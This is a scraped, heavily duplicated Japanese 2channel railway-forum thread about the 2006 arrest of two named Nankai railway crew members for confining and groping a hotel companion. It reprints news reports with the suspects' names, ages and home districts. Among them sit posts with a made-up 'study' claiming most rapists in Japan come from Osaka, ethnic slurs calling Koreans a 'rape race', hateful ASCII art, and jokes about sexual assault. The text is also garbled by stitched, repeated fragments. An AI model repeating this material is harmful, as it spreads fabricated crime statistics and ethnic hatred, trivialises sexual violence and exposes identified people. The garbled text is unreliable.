敦弘（34）＝大阪府羽曳野市恵我之荘南海電鉄の車掌喜多信也（33）＝和歌山県橋本市紀見ケ丘南海電鉄の運転士上野敦弘（34）＝大阪府羽曳野市恵我之荘南海電鉄の車掌喜多
信也（33）＝和歌山県橋本市紀見ケ丘南海電鉄の運転士上野敦弘（34）＝大阪府羽曳野市恵我之荘南海電鉄の車掌喜多信也（33）＝和歌山県橋本市紀見ケ丘南海電鉄の運転士
上野敦弘（34）＝大阪府羽曳野市恵我之荘南海電鉄の車掌喜多信也（33）＝和歌山県橋本市紀見ケ丘南海電鉄の運転士上野敦弘（34）＝大阪府羽曳野市恵我之荘南海電鉄の車掌
喜多信也（33）＝和歌山県橋本市紀見ケ丘南海電鉄の運転士上野敦弘（34）＝大阪府羽曳野市恵我之荘南海電鉄の車掌喜多信也（33）＝和歌山県橋本市紀見ケ丘南海電鉄の運転士
上野敦弘（34）＝大阪府羽曳野市恵我之荘南海電鉄の車掌喜多信也（33）＝和歌山県橋本市紀見ケ丘南海電鉄の運転士上野敦弘（34）＝大阪府羽曳野市恵我之荘南海電鉄の車掌
喜多信也（33）＝和歌山県橋本市紀見ケ丘南海電鉄の運転士上野敦弘（34）＝大阪府羽曳野市恵我之荘南海電鉄の車掌喜多信也（33）＝和歌山県橋本市紀見ケ丘南海電鉄の運転士
上野敦弘（34）＝大阪府羽曳野市恵我之荘南海電鉄の車掌喜多信也（33）＝和歌山県橋本市紀見ケ丘両容疑者を逮捕した。驚くべき事実、レイプ犯の事実日本は凶悪犯罪やレイプが
比較的少ないと言われているが、どのような条件の元にレイプが発生するのかを調査した報告書は少ないと思われる。平成17年レイプ発生件数(人口10万人あたり)大阪府28.02件
埼玉県20.99件愛知県19.72件京都府19.41件レイプ事件の総数では東京が多いが、人口別に件数を分類してみると大阪が断トツに多いと言う事が分かる。東京でのレイプ事件をさら
に詳細に調査してみよう。東京都の人口10万人あたりのレイプ発生件数は15.20件 である。平成17年度で年間1824件発生している。件数はさすがに多い。しかし東京は地方からの
上京者が圧倒的に多いので、犯人の出身地域別に分類を取ってみる大阪出身857件韓国出身240件中国出身89件米国出身46件その他536件驚くべきことに、大阪出身者がレイプ犯の
大半を占めていると言う結論に達した。東京以外の地域、埼玉や愛知を調べても同様の結果となり、なんと日本におけるレイプ事件の大半は大阪出身者で占められると言う結論と
なった。何故ここまで大阪出身者によるレイプ事件が多いのか ?生まれ育った地域による特殊性か、もしくは血によるものかは不明だが、大阪でよく語られる「女性に合ったら
レイプしなければ失礼」と言う大阪独自の文化が影響しているのかもしれない。女性はくれぐれも大阪出身者に近づかない事が自分の身を守る唯一の方法かもしれない。丸一談強制
わいせつ赤字南海南海電車かｗ駅員とべちゃくりなから前方確認もせず電車を発車させることで有名です。強制猥褻電鉄勤務中の犯行でなくてよかったな勤務中にどこかの山の駅で、
とかだったら乗客激減間違いなし南海の乗務員乗客の半径10メートル以内に近づくって事は、放し飼いの猛獣の居る部屋に素手で入っていくようなもの。南海の乗務員乗客の男性は
女を見たら、犯すことしか考えていないから。まともなニュースと出処不明の作文を並べるところが２ちゃんねるでよく見かける巧妙な手口だな。運転手と車掌だけに、息が合って
上野敦弘（34）＝大阪府羽曳野市恵我之荘南海電鉄の車掌喜多信也（33）＝和歌山県橋本市紀見ケ丘両容疑者を逮捕した。驚くべき事実、レイプ犯の事実日本は凶悪犯罪やレイプが
比較的少ないと言われているが、どのような条件の元にレイプが発生するのかを調査した報告書は少ないと思われる。平成17年レイプ発生件数(人口10万人あたり)大阪府28.02件
埼玉県20.99件愛知県19.72件京都府19.41件レイプ事件の総数では東京が多いが、人口別に件数を分類してみると大阪が断トツに多いと言う事が分かる。東京でのレイプ事件をさら
に詳細に調査してみよう。東京都の人口10万人あたりのレイプ発生件数は15.20件 である。平成17年度で年間1824件発生している。件数はさすがに多い。しかし東京は地方からの
上京者が圧倒的に多いので、犯人の出身地域別に分類を取ってみる大阪出身857件韓国出身240件中国出身89件米国出身46件その他536件驚くべきことに、大阪出身者がレイプ犯の
大半を占めていると言う結論に達した。東京以外の地域、埼玉や愛知を調べても同様の結果となり、なんと日本におけるレイプ事件の大半は大阪出身者で占められると言う結論と
なった。何故ここまで大阪出身者によるレイプ事件が多いのか ?生まれ育った地域による特殊性か、もしくは血によるものかは不明だが、大阪でよく語られる「女性に合ったら
レイプしなければ失礼」と言う大阪独自の文化が影響しているのかもしれない。女性はくれぐれも大阪出身者に近づかない事が自分の身を守る唯一の方法かもしれない。丸一談強制
わいせつ赤字南海南海電車かｗ駅員とべちゃくりなから前方確認もせず電車を発車させることで有名です。強制猥褻電鉄勤務中の犯行でなくてよかったな勤務中にどこかの山の駅で、
とかだったら乗客激減間違いなし南海の乗務員乗客の半径10メートル以内に近づくって事は、放し飼いの猛獣の居る部屋に素手で入っていくようなもの。南海の乗務員乗客の男性は
女を見たら、犯すことしか考えていないから。まともなニュースと出処不明の作文を並べるところが２ちゃんねるでよく見かける巧妙な手口だな。運転手と車掌だけに、息が合って
たんだろうな【監禁】南海電気鉄道スレNa77【強制わいせつ】ttp://hobby7.2ch.net/test/read.cgi/rail/1153670093/・・・あー、マジレスすると運転士なまた大阪か！また和歌山
か！また強制わいせつか！また南海か！本業も副業も赤字で社員はアレで乗換ターミナルが新今宮（ｗ近鉄や阪神なんて目じゃない大手私鉄最凶企業(´Д⊂ヽ赤字南海がこれまで起こ
した武勇伝男里川事故…踏切でトラックと衝突して川へ転落後で運転士が自分の子供を抱えながら運転していたことがバレて大問題に羽倉崎事故…回送車両が車止めを越え更に道路
向かいの仏壇屋へ特攻担当の入換運転士曰く「天気が良かったので空に見とれていたら（ｒｙ」住ノ江事故…同じく回送車両がATSを切った状態で冒進、高架下のプールにダイブ未遂
この運転士の言い訳は「急いで帰りたかった」 上野は一種の病気、運転中もＳＥＸを思い出している病気だ。南海電鉄の社員も強姦魔が居る噂は本当だった車両も強姦臭い電鉄だ、
関西の電鉄ランクではダントツで最下位独走中阪急、近鉄、阪神、阪和、そして南海、南海の運転手も車掌も女を見る目つきが卑猥、糸くずのようなものが・・・南海だけに輪姦田園
都市ってか？南海電鉄社員が強姦未遂で逮捕。黙認していた上司が居る、加藤だ南海か。数年前にも駅の売上金を盗んで逮捕された駅助役がいたな。他には電鉄の幹部がそのスジの人
との接待ゴルフが明るみに出てちょっとした騒動になったり…正直規律の緩いダメ会社の典型例。胸ででは無い、コンパニオンの下着を無理やり脱がして、強姦未遂で逮捕されて４８
時間拘留身柄引受人は南海電鉄、天下茶屋分室長が受けた。逮捕罪・監禁罪（２２０条）３月以上５年以下の懲役 23:59:59なら監禁強制わいせつ南海、倒産>195188：名無し野電車区
：2006/07/25(火)23:59:59ID:zNS+Gbpx23:59:59なら監禁強制わいせつ南海、倒産南海電鉄運転士らが強制わいせつ＝コンパニオンに、逮捕−神戸コンパニオンの女性をトイレに閉じ
込めて体を触ったとして、兵庫県警有馬署は25日、監禁と強制わいせつの疑いで、南海電鉄の運転士上野敦弘（34）＝大阪府羽曳野市恵我之荘＝、車掌喜多信也（33）＝和歌山県橋本
市紀見ケ丘＝両容疑者を逮捕した。両容疑者は「合意の上だった」と供述している。調べによると、両容疑者は5月29日夜、神戸市北区有馬町のホテルで、宴会に派遣されていた同区
か！また強制わいせつか！また南海か！本業も副業も赤字で社員はアレで乗換ターミナルが新今宮（ｗ近鉄や阪神なんて目じゃない大手私鉄最凶企業(´Д⊂ヽ赤字南海がこれまで起こ
した武勇伝男里川事故…踏切でトラックと衝突して川へ転落後で運転士が自分の子供を抱えながら運転していたことがバレて大問題に羽倉崎事故…回送車両が車止めを越え更に道路
向かいの仏壇屋へ特攻担当の入換運転士曰く「天気が良かったので空に見とれていたら（ｒｙ」住ノ江事故…同じく回送車両がATSを切った状態で冒進、高架下のプールにダイブ未遂
この運転士の言い訳は「急いで帰りたかった」 上野は一種の病気、運転中もＳＥＸを思い出している病気だ。南海電鉄の社員も強姦魔が居る噂は本当だった車両も強姦臭い電鉄だ、
関西の電鉄ランクではダントツで最下位独走中阪急、近鉄、阪神、阪和、そして南海、南海の運転手も車掌も女を見る目つきが卑猥、糸くずのようなものが・・・南海だけに輪姦田園
都市ってか？南海電鉄社員が強姦未遂で逮捕。黙認していた上司が居る、加藤だ南海か。数年前にも駅の売上金を盗んで逮捕された駅助役がいたな。他には電鉄の幹部がそのスジの人
との接待ゴルフが明るみに出てちょっとした騒動になったり…正直規律の緩いダメ会社の典型例。胸ででは無い、コンパニオンの下着を無理やり脱がして、強姦未遂で逮捕されて４８
時間拘留身柄引受人は南海電鉄、天下茶屋分室長が受けた。逮捕罪・監禁罪（２２０条）３月以上５年以下の懲役 23:59:59なら監禁強制わいせつ南海、倒産>195188：名無し野電車区
：2006/07/25(火)23:59:59ID:zNS+Gbpx23:59:59なら監禁強制わいせつ南海、倒産南海電鉄運転士らが強制わいせつ＝コンパニオンに、逮捕−神戸コンパニオンの女性をトイレに閉じ
込めて体を触ったとして、兵庫県警有馬署は25日、監禁と強制わいせつの疑いで、南海電鉄の運転士上野敦弘（34）＝大阪府羽曳野市恵我之荘＝、車掌喜多信也（33）＝和歌山県橋本
市紀見ケ丘＝両容疑者を逮捕した。両容疑者は「合意の上だった」と供述している。調べによると、両容疑者は5月29日夜、神戸市北区有馬町のホテルで、宴会に派遣されていた同区
在住のコンパニオンの女性（23）を男子トイレの個室に監禁して胸などを触った疑い。（時事通信）ttp://headlines.yahoo.co.jp/hl?a=20060725-00000096-jij-soci昔のビデヲ「南海
FUCK」ｗｗｗｗｗｗｗｗｗttp://t.pic.to/3e6z2ttp://p.pita.st/?m=s1hvw6id貴方も治安が回復しつつある南海犬坂民国を歩いてみませんか？（改定版4）・車を運転してたらバイク
に乗った男たちに金づちで襲われ金品を強奪された・警察が駐車ポールを置いてる間に中国人違法朝市が形成されてた・駅前でなんか臭いなと思って回りを探索すると植え込みに浮浪者
のミイラが生産されてた・セクロスしにホテルに入ったら．入った瞬間の出迎えはパンダの剥製だった・大学内で女関係でいざこざがあった後に集団報復で相手をショベルカーで生き
埋めにした・特定のチームが勝った後．関係ないやろとナンパ橋に行ったら無理やり川に投げ落とされた・行政のトップがお笑いだけで選ばれて．痴漢行為で辞職した・地方から林檎
売りに来て試食ＯＫと記載し車止めてたら．一人二個までと勝手に無料配布された・車で時速１００ｋｍで走行してたら煽られて．スピードあげた後に運送会社のトラックにバッシング
された・交差点で信号待ち停車中の運転手が拉致されて金を奪われた・電気屋の無料バス（難波〜梅田間）の満員に乗ったら．終点で店に入る人は半数以下だった・電車で並ぶのは馬鹿
のする事．弱肉強食早い者勝ちなのが常識になってた・公立校の卒業式＆終業式で国歌の君が代でなく隣の国の国歌が流されてた・温泉施設で外の景色を撮影したら、ビルの屋上に人骨
が散乱した景色が写っていた・地方から旅行に来て銭湯に入ったら，自分以外全員が入れ墨してた・通天閣見に新今宮で降りたら駅構内で糞尿の匂いがし．駅外で女が立ちションしてた
・タクシーからショッピングセンターまでの１０ｍの間に８９３にからまれた・東中島は危ないから止めとけと言われた女がそんな訳ないと転居したら即被害届け出す羽目になった・
生野区住民の1/4が某国籍関連。しかも女を襲うのは当然という刷り込みから「女全員危ない」・「そんな危険なわけがない」といって西成区に行った東京モンが結核になって戻ってきた
FUCK」ｗｗｗｗｗｗｗｗｗttp://t.pic.to/3e6z2ttp://p.pita.st/?m=s1hvw6id貴方も治安が回復しつつある南海犬坂民国を歩いてみませんか？（改定版4）・車を運転してたらバイク
に乗った男たちに金づちで襲われ金品を強奪された・警察が駐車ポールを置いてる間に中国人違法朝市が形成されてた・駅前でなんか臭いなと思って回りを探索すると植え込みに浮浪者
のミイラが生産されてた・セクロスしにホテルに入ったら．入った瞬間の出迎えはパンダの剥製だった・大学内で女関係でいざこざがあった後に集団報復で相手をショベルカーで生き
埋めにした・特定のチームが勝った後．関係ないやろとナンパ橋に行ったら無理やり川に投げ落とされた・行政のトップがお笑いだけで選ばれて．痴漢行為で辞職した・地方から林檎
売りに来て試食ＯＫと記載し車止めてたら．一人二個までと勝手に無料配布された・車で時速１００ｋｍで走行してたら煽られて．スピードあげた後に運送会社のトラックにバッシング
された・交差点で信号待ち停車中の運転手が拉致されて金を奪われた・電気屋の無料バス（難波〜梅田間）の満員に乗ったら．終点で店に入る人は半数以下だった・電車で並ぶのは馬鹿
のする事．弱肉強食早い者勝ちなのが常識になってた・公立校の卒業式＆終業式で国歌の君が代でなく隣の国の国歌が流されてた・温泉施設で外の景色を撮影したら、ビルの屋上に人骨
が散乱した景色が写っていた・地方から旅行に来て銭湯に入ったら，自分以外全員が入れ墨してた・通天閣見に新今宮で降りたら駅構内で糞尿の匂いがし．駅外で女が立ちションしてた
・タクシーからショッピングセンターまでの１０ｍの間に８９３にからまれた・東中島は危ないから止めとけと言われた女がそんな訳ないと転居したら即被害届け出す羽目になった・
生野区住民の1/4が某国籍関連。しかも女を襲うのは当然という刷り込みから「女全員危ない」・「そんな危険なわけがない」といって西成区に行った東京モンが結核になって戻ってきた
・大阪城で深夜にBBQをして材料が足りないのでキノコを現地調達したら病院送りになった・あいりん地区を歩いてると篭城できる要塞が合ったので調べたら警察署だった日本のドリーム
ランド犬坂民国に一度みなさん来て下さい夢のひと時が貴方を待ってます!実況入ります。車掌「えー毎度、難解電車ご乗車ありがとうございます。」電車に乗り損ねたコンパニオンが
一言コンパニオン「あ〜ん、いっちゃう！」次の電車に乗ったはいいが、これは各駅停車次の駅で急行の通過待ち。しまった、急行を待つんだった...コンパニオン「あ〜ん、抜かないで〜」
電車はやっと下車駅についたが、降りる前に乗車する人が多く、なかなか下車出来ない。コンパニオン「あ〜ん、外に出して〜」今度は各停しか止まらない駅に行くはずが、誤って急行に
乗ってしまった。コンパニオン「あ〜ん、駅とばさないで〜」このような内容の露出モノAVとなっております。難解電車AV事業部また大阪赤字南海強制わいせつかまた大阪赤字南海強制
わいせつかまた大阪赤字南海強制わいせつかまた大阪赤字南海強制わいせつかまた大阪赤字南海強制わいせつかまた大阪赤字南海強制わいせつかまた大阪赤字南海強制わいせつかまた大阪
赤字南海強制わいせつかまた大阪赤字南海強制わいせつかまた大阪赤字南海強制わいせつかまた大阪赤字南海強制わいせつかまた大阪赤字南海強制わいせつかまた大阪赤字南海強制わいせつ
かまた大阪赤字南海強制わいせつかまた大阪赤字南海強制わいせつかまた大阪赤字南海強制わいせつかまた大阪赤字南海強制わいせつかまた大阪赤字南海強制わいせつかまた大阪赤字南海
強制わいせつかまた大阪赤字南海強制わいせつかまた大阪赤字南海強制わいせつかまた大阪赤字南海強制わいせつかまた大阪赤字南海強制わいせつかまた大阪赤字南海強制わいせつかまた
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わいせつかまた大阪赤字南海強制わいせつかまた大阪赤字南海強制わいせつか【上野敦弘】南海電気鉄道スレNa77【喜多信也】ttp://hobby7.2ch.net/test/read.cgi/rail/1153670093/強制
わいせつ祭り
ランド犬坂民国に一度みなさん来て下さい夢のひと時が貴方を待ってます!実況入ります。車掌「えー毎度、難解電車ご乗車ありがとうございます。」電車に乗り損ねたコンパニオンが
一言コンパニオン「あ〜ん、いっちゃう！」次の電車に乗ったはいいが、これは各駅停車次の駅で急行の通過待ち。しまった、急行を待つんだった...コンパニオン「あ〜ん、抜かないで〜」
電車はやっと下車駅についたが、降りる前に乗車する人が多く、なかなか下車出来ない。コンパニオン「あ〜ん、外に出して〜」今度は各停しか止まらない駅に行くはずが、誤って急行に
乗ってしまった。コンパニオン「あ〜ん、駅とばさないで〜」このような内容の露出モノAVとなっております。難解電車AV事業部また大阪赤字南海強制わいせつかまた大阪赤字南海強制
わいせつかまた大阪赤字南海強制わいせつかまた大阪赤字南海強制わいせつかまた大阪赤字南海強制わいせつかまた大阪赤字南海強制わいせつかまた大阪赤字南海強制わいせつかまた大阪
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わいせつ祭り
強制わいせつ南海23:59:59なら赤字監禁強制わいせつ南海、倒産23:59:59なら赤字監禁強制わいせつ南海、倒産
466 ：名無しでGO!：2006/07/28(金) 16:00:35 ID:oq1+Bpt7O
東京行く用事があったんで、せっかくやし阪急ヲタの煽りネタ探しに、渋谷の阪急ブックファーストのぞいてきた。
けどちょっとやばい。しょせん関西資本は首都圏では受け入れられず、ガラガラで閑古鳥が鳴いてるやろと思ってたら、
めっちゃ混んでた。１０９に行くような若者も、関西資本とかあんま気にせず店に入って本買ってるし。何かすっかり
溶け込んでて、ビジネスとして成功してるみたいやし。めっちゃむかつくわ。なんだこりゃ？久々のニュースがこれ
かよ？！【事件】 コンパニオンをトイレに閉じ込めて胸などを触った南海電鉄の運転士と車掌を逮捕ttp://news19.
2ch.net/test/read.cgi/newsplus/1153818467/***本家ヨハネスブルグ−特定アジアのヨハネスブルグ“大阪民国”
対置リスト(改)***＜本家＞＜民国＞・カールトンセンター＝通天閣・ヨハネスブルグ中央駅周辺＝難波駅〜新○宮駅
周辺・ヒルブロウ＝OBP・ヨーヴィル＝心○橋周辺・ゴールドリーフ･シティ＝USJ・サントン地区＝北摂地域・ローズ
バンク地区＝西宮周辺・アレクサンドラ＝尼崎周辺・プレトリア＝神戸・ソウェト＝西〇・平〇・生○･鶴〇・南〇線
沿線・阪〇線沿線・南大○線沿線・大○路線沿線（スワジランド＝高○）赤字監禁強制わいせつ南海>277東京に行って
たから知らん赤字監禁強制わいせつ南海 南海は昔から従業員に甘いからこの逮捕されたふたりはクビにはならへんよ。
まぁ本人らも労組が守ってくれると思って反省してないよ。合意の上だったと主張しているようだが、合意の上なら
なぜわざわざトイレの個室に連れ込んだのか？そこが引っかかる。合意の上ならもっと適切な場所があるだろうに。
これじゃあ、酒を飲んでの強制わいせつだと判断されても、南海の社員２人は文句は言えない。余談だが、近鉄は首都
圏では受け入れられず、首都圏事業が行き詰まり百貨店が撤退したらしいな。難波より南は大阪違いますからね。>324
君はなんて酷い人間なんだ。何の取り柄もなく、一歩家から出れば言いたい事も言えず、人の目もまともに見られない
友達もいない、電車お宅とバカにされいじめられている…そんな可哀想な赤字監禁強制わいせつ南海ヲタの唯一の生き
る糧をを奪うなんて！
けどちょっとやばい。しょせん関西資本は首都圏では受け入れられず、ガラガラで閑古鳥が鳴いてるやろと思ってたら、
めっちゃ混んでた。１０９に行くような若者も、関西資本とかあんま気にせず店に入って本買ってるし。何かすっかり
溶け込んでて、ビジネスとして成功してるみたいやし。めっちゃむかつくわ。なんだこりゃ？久々のニュースがこれ
かよ？！【事件】 コンパニオンをトイレに閉じ込めて胸などを触った南海電鉄の運転士と車掌を逮捕ttp://news19.
2ch.net/test/read.cgi/newsplus/1153818467/***本家ヨハネスブルグ−特定アジアのヨハネスブルグ“大阪民国”
対置リスト(改)***＜本家＞＜民国＞・カールトンセンター＝通天閣・ヨハネスブルグ中央駅周辺＝難波駅〜新○宮駅
周辺・ヒルブロウ＝OBP・ヨーヴィル＝心○橋周辺・ゴールドリーフ･シティ＝USJ・サントン地区＝北摂地域・ローズ
バンク地区＝西宮周辺・アレクサンドラ＝尼崎周辺・プレトリア＝神戸・ソウェト＝西〇・平〇・生○･鶴〇・南〇線
沿線・阪〇線沿線・南大○線沿線・大○路線沿線（スワジランド＝高○）赤字監禁強制わいせつ南海>277東京に行って
たから知らん赤字監禁強制わいせつ南海 南海は昔から従業員に甘いからこの逮捕されたふたりはクビにはならへんよ。
まぁ本人らも労組が守ってくれると思って反省してないよ。合意の上だったと主張しているようだが、合意の上なら
なぜわざわざトイレの個室に連れ込んだのか？そこが引っかかる。合意の上ならもっと適切な場所があるだろうに。
これじゃあ、酒を飲んでの強制わいせつだと判断されても、南海の社員２人は文句は言えない。余談だが、近鉄は首都
圏では受け入れられず、首都圏事業が行き詰まり百貨店が撤退したらしいな。難波より南は大阪違いますからね。>324
君はなんて酷い人間なんだ。何の取り柄もなく、一歩家から出れば言いたい事も言えず、人の目もまともに見られない
友達もいない、電車お宅とバカにされいじめられている…そんな可哀想な赤字監禁強制わいせつ南海ヲタの唯一の生き
る糧をを奪うなんて！
夏休みになって知能低い赤字監禁強制わいせつ南海ヲタが書いてる。ｳｻﾞｽﾃﾞｰﾊﾝﾐﾝｸﾞｸ！ﾁｮﾁｮﾝｶﾞﾎﾙﾎﾙﾎﾙﾎﾙП∧阪∧.ﾐ_
_ヽ:::..ヽﾁｮﾝﾁｮﾝ!∧阪∧∧阪∧∩<｀∀´>//i:::::::|Σ∩｀∀´>∩｀∀´>ﾁｮﾝﾁｮﾝヾ冫殺⌒lつl:::::::::|ヽ⊂丿ヽ⊂
丿ﾁｮﾝ!（＿＿.八 ＿._ノ.＿ノ（（ﾉ)）（（ﾉ)））_）＿）凵凵凵し'し'し'し'デーハンミングク（大阪民国）！チョ
チョンガ♪チョンチョン♪￣￣￣Ｖ￣￣￣￣Ｖ￣￣￣￣￣Ｖ￣￣￣￣￣Ｖ￣￣￣∧赤∧∩,字∧∧南∧ﾞ∧海∧∧阪∧
<丶`∀´>.||`∀´ ><`∀´-><丶`∀´><`∀´->（(⊂⊃/,⊃（⊂、⊃ﾞ（(⊂,⊃)）（(⊂⊂ヽ（( ⊂,,,ノﾞ((（,,_,,⊃ﾞ
（(⊂,,,_,,）（(（,,_,,⊃)）（(⊂,,__,,）)）（__/,,ヽ_）,,（_/,ヽ_）,,,,（_/まあ、西成を横断している私鉄
の社員はこれぐらいのことが出来ないとちゃんと仕事できんよ。マル暴担当の警官がヤクザ以上にヤクザらしいのと
同じようになｗ赤字南海電鉄らしく、しずちゃんを閉じこめて揉んでみろ！！この南海運転士車掌って、どうみても
在日。チョンは世界で唯一の強姦民族。>271などは、さすが南海ヲタの性格の悪さ・性格のキモさを如実に物語って
いるなttp://news19.2ch.net/test/read.cgi/newsplus/1153818467/l50南海の運転士と車掌が女性をトイレに押し込
めいたずら・・・逮捕される赤字監禁強制わいせつ南海赤字監禁強制わいせつ南海赤字監禁強制わいせつ南海赤字監
禁強制わいせつ南海赤字監禁強制わいせつ南海赤字監禁強制わいせつ南海赤字監禁強制わいせつ南海赤字監禁強制わ
_ヽ:::..ヽﾁｮﾝﾁｮﾝ!∧阪∧∧阪∧∩<｀∀´>//i:::::::|Σ∩｀∀´>∩｀∀´>ﾁｮﾝﾁｮﾝヾ冫殺⌒lつl:::::::::|ヽ⊂丿ヽ⊂
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（(⊂,,,_,,）（(（,,_,,⊃)）（(⊂,,__,,）)）（__/,,ヽ_）,,（_/,ヽ_）,,,,（_/まあ、西成を横断している私鉄
の社員はこれぐらいのことが出来ないとちゃんと仕事できんよ。マル暴担当の警官がヤクザ以上にヤクザらしいのと
同じようになｗ赤字南海電鉄らしく、しずちゃんを閉じこめて揉んでみろ！！この南海運転士車掌って、どうみても
在日。チョンは世界で唯一の強姦民族。>271などは、さすが南海ヲタの性格の悪さ・性格のキモさを如実に物語って
いるなttp://news19.2ch.net/test/read.cgi/newsplus/1153818467/l50南海の運転士と車掌が女性をトイレに押し込
めいたずら・・・逮捕される赤字監禁強制わいせつ南海赤字監禁強制わいせつ南海赤字監禁強制わいせつ南海赤字監
禁強制わいせつ南海赤字監禁強制わいせつ南海赤字監禁強制わいせつ南海赤字監禁強制わいせつ南海赤字監禁強制わ
いせつ南海赤字監禁強制わいせつ南海赤字監禁強制わいせつ南海赤字監禁強制わいせつ南海赤字監禁強制わいせつ南
海赤字監禁強制わいせつ南海赤字監禁強制わいせつ南海赤字監禁強制わいせつ南海赤字監禁強制わいせつ南海赤字監
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禁強制わいせつ南海赤字監禁強制わいせつ南海>397君はなんて酷い人間なんだ。何の取り柄もなく、一歩家から出れ
ば言いたい事も言えず、人の目もまともに見られない友達もいない、電車お宅とバカにされいじめられている…そん
な可哀想な赤字監禁強制わいせつ南海ヲタの唯一の生きる糧をを奪うなんて！>298大阪では同義語。ヤれる・・・語
句通りヤれない・・・「嫌よ嫌よも好きのうち」>402君はなんて酷い人間なんだ。何の取り柄もなく、一歩家から出
れば言いたい事も言えず、人の目もまともに見られない友達もいない、電車お宅とバカにされいじめられている…そ
んな可哀想な赤字監禁強制わいせつ南海ヲタの唯一の生きる糧をを奪うなんて！
海赤字監禁強制わいせつ南海赤字監禁強制わいせつ南海赤字監禁強制わいせつ南海赤字監禁強制わいせつ南海赤字監
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禁強制わいせつ南海赤字監禁強制わいせつ南海>397君はなんて酷い人間なんだ。何の取り柄もなく、一歩家から出れ
ば言いたい事も言えず、人の目もまともに見られない友達もいない、電車お宅とバカにされいじめられている…そん
な可哀想な赤字監禁強制わいせつ南海ヲタの唯一の生きる糧をを奪うなんて！>298大阪では同義語。ヤれる・・・語
句通りヤれない・・・「嫌よ嫌よも好きのうち」>402君はなんて酷い人間なんだ。何の取り柄もなく、一歩家から出
れば言いたい事も言えず、人の目もまともに見られない友達もいない、電車お宅とバカにされいじめられている…そ
んな可哀想な赤字監禁強制わいせつ南海ヲタの唯一の生きる糧をを奪うなんて！
>408南海の社員が強姦なんかするからだよ
1：四苦八苦φ★：2006/07/25(火)18:07:47ID:???0コンパニオンの女性をトイレに閉じ込めて体を触ったとして、
兵庫県警有馬署は25日、監禁と強制わいせつの疑いで、南海電鉄の運転士上野敦弘（34）＝大阪府羽曳野市恵我
之荘＝、車掌喜多信也（33）＝和歌山県橋本市紀見ケ丘＝両容疑者を逮捕した。両容疑者は「合意の上だった」
と供述している。調べによると、両容疑者は5月29日夜、神戸市北区有馬町のホテルで、宴会に派遣されていた同
区在住のコンパニオンの女性（23）を男子トイレの個室に監禁して胸などを触った疑い。ttp://headlines.yahoo
.co.jp/hl?a=20060725-00000096-jij-soci
兵庫県警有馬署は25日、監禁と強制わいせつの疑いで、南海電鉄の運転士上野敦弘（34）＝大阪府羽曳野市恵我
之荘＝、車掌喜多信也（33）＝和歌山県橋本市紀見ケ丘＝両容疑者を逮捕した。両容疑者は「合意の上だった」
と供述している。調べによると、両容疑者は5月29日夜、神戸市北区有馬町のホテルで、宴会に派遣されていた同
区在住のコンパニオンの女性（23）を男子トイレの個室に監禁して胸などを触った疑い。ttp://headlines.yahoo
.co.jp/hl?a=20060725-00000096-jij-soci
運転士と車掌が女性監禁トイレで強制わいせつ兵庫県警有馬署は２５日、強制わいせつと監禁の疑いで、南海電鉄
運転士上野敦弘（３４）＝大阪府羽曳野市南恵我之荘、南海電鉄車掌喜多信也（３３）＝和歌山県橋本市紀見ケ丘
＝の両容疑者を逮捕した。調べでは、両容疑者は共謀。５月２９日午後８時５０分ごろ、神戸・有馬温泉のホテル
で、コンパニオン女性（２３）を男性トイレに連れ込み施錠、体に触るなどのわいせつ行為をした疑い。両容疑者
は「合意の上だった」と容疑を否認しているという。両容疑者は同期入社の社員１０数人と有馬温泉に宿泊。宴会
場でコンパニオン数人の接待を受け、２次会でホテル内のバーに移動した。女性が席を立ったところ「ちょっと来
て」と誘い、トイレに連れ込んだという。なぜ南海は、あれだけバカ高い運賃をとっておきながら、経営難なのか
？それはひとえに、関西の同業他社と比べ、経営努力が足りないからである。沿線の宅地開発も他社より遅れて結
局他社の猿真似、つまり、社員に考える能力が欠けているのである。これは結局、泉州・河内という程度の低い人
間ばかりしか集まらない、会社の魅力のなさに端を発している。阪急9000系の豪華なこと…内容が全く的外ればか
りとはいわん。だけど、こりもせず同じような事書いたり、似たようなコピペばっかり貼るやつの神経って一体
どうなってんだろ。
運転士上野敦弘（３４）＝大阪府羽曳野市南恵我之荘、南海電鉄車掌喜多信也（３３）＝和歌山県橋本市紀見ケ丘
＝の両容疑者を逮捕した。調べでは、両容疑者は共謀。５月２９日午後８時５０分ごろ、神戸・有馬温泉のホテル
で、コンパニオン女性（２３）を男性トイレに連れ込み施錠、体に触るなどのわいせつ行為をした疑い。両容疑者
は「合意の上だった」と容疑を否認しているという。両容疑者は同期入社の社員１０数人と有馬温泉に宿泊。宴会
場でコンパニオン数人の接待を受け、２次会でホテル内のバーに移動した。女性が席を立ったところ「ちょっと来
て」と誘い、トイレに連れ込んだという。なぜ南海は、あれだけバカ高い運賃をとっておきながら、経営難なのか
？それはひとえに、関西の同業他社と比べ、経営努力が足りないからである。沿線の宅地開発も他社より遅れて結
局他社の猿真似、つまり、社員に考える能力が欠けているのである。これは結局、泉州・河内という程度の低い人
間ばかりしか集まらない、会社の魅力のなさに端を発している。阪急9000系の豪華なこと…内容が全く的外ればか
りとはいわん。だけど、こりもせず同じような事書いたり、似たようなコピペばっかり貼るやつの神経って一体
どうなってんだろ。
社員に経営手腕も先見力も分析力も戦略もない。それが南海クオリティ。
もう月末ですよ、資金繰りは大丈夫ですか？∧債∧（ﾟ∀ﾟ）＜だれでもいいから電車に乗ってくれー！
∧債∧/）（ﾟ∀ﾟ）０=務=０∧債∧０=務=０/┃ヽ（ﾟ∀ﾟ）＜今月もいっぱいいっぱいだよ〜/┃）＝‖(
ノ０=務=０∧債∧ヽ‖ノ‖＝ｌ⌒┃ヽ（ﾟ∀ﾟ）";;;ﾞﾞ;';'"ﾞﾞ;''"';;;ﾞﾞ';"'';;";ﾞﾞ''";;''"';'"ﾞﾞ';;
'"';;;'"''"';';"'ﾞﾞ'";"''';;;,、０=務=０＼''";''"';ﾞﾞ'"''"ﾞﾞ';'"';'";''ﾞﾞ";;''"ﾞﾞ;''ﾞﾞ"';'"''
;''"';'"''';;;,、/|∧債∧"ﾞﾞ';;'"';;;''"';'"ﾞﾞ';;'"';;;'"''"';';"'ﾞﾞ'";;''"''';;;,、（ﾟ∀ﾟ）"
';'"ﾞﾞ';;'"';;;'"''"';';"'ﾞﾞ'";"''';;;,、=０'"''"';';"'ﾞﾞ'";;
∧債∧/）（ﾟ∀ﾟ）０=務=０∧債∧０=務=０/┃ヽ（ﾟ∀ﾟ）＜今月もいっぱいいっぱいだよ〜/┃）＝‖(
